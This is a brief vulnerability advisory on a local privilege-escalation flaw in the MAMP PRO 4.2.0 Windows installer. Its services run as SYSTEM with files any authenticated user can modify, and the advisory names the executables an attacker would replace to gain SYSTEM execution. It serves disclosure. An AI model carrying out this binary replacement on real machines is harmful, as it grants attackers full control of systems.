# Software Link: https://downloads.mamp.info/MAMP-PRO-WINDOWS/releases/4.2.0/MAMP_MAMP_PRO_4.2.0.exe

MAMPPRO Windows installer installs seven services called 'MAMPPRO’, 'MAMPPRO-Apache', ‘MAMPPRO-MySQL’, ’MAMPDNS’, ‘MAMPPRO-Memcached', ‘emailrelay-service.exe’, and 'MAMPPRO-NGINX'. All those services runs with 'SYSTEM' privileges and they have weak file permission. Which means that a low-privileged user can modify those services and execute code with ‘SYSTEM’ privileges on the system.   
  
NT AUTHORITY\Authenticated Users:(I)(M) means that every authenticated user has modify access, (M) stands for Modify, on the files, so they can read, write and delete the files.

=================================================================  
  
In order to exploit this vulnerability, a local attacker must insert an executable file that should be named as one of the following 'MAMPDNSService.exe' 'MAMPPROService.exe', 'httpd.exe', 'MAMPMemcached.exe', 'mysqld.exe’, ‘emailrelay-service.exe’ or 'MAMPNGINX.exe' , and replace the original files. Once the services start the malicious files will be executed as SYSTEM.
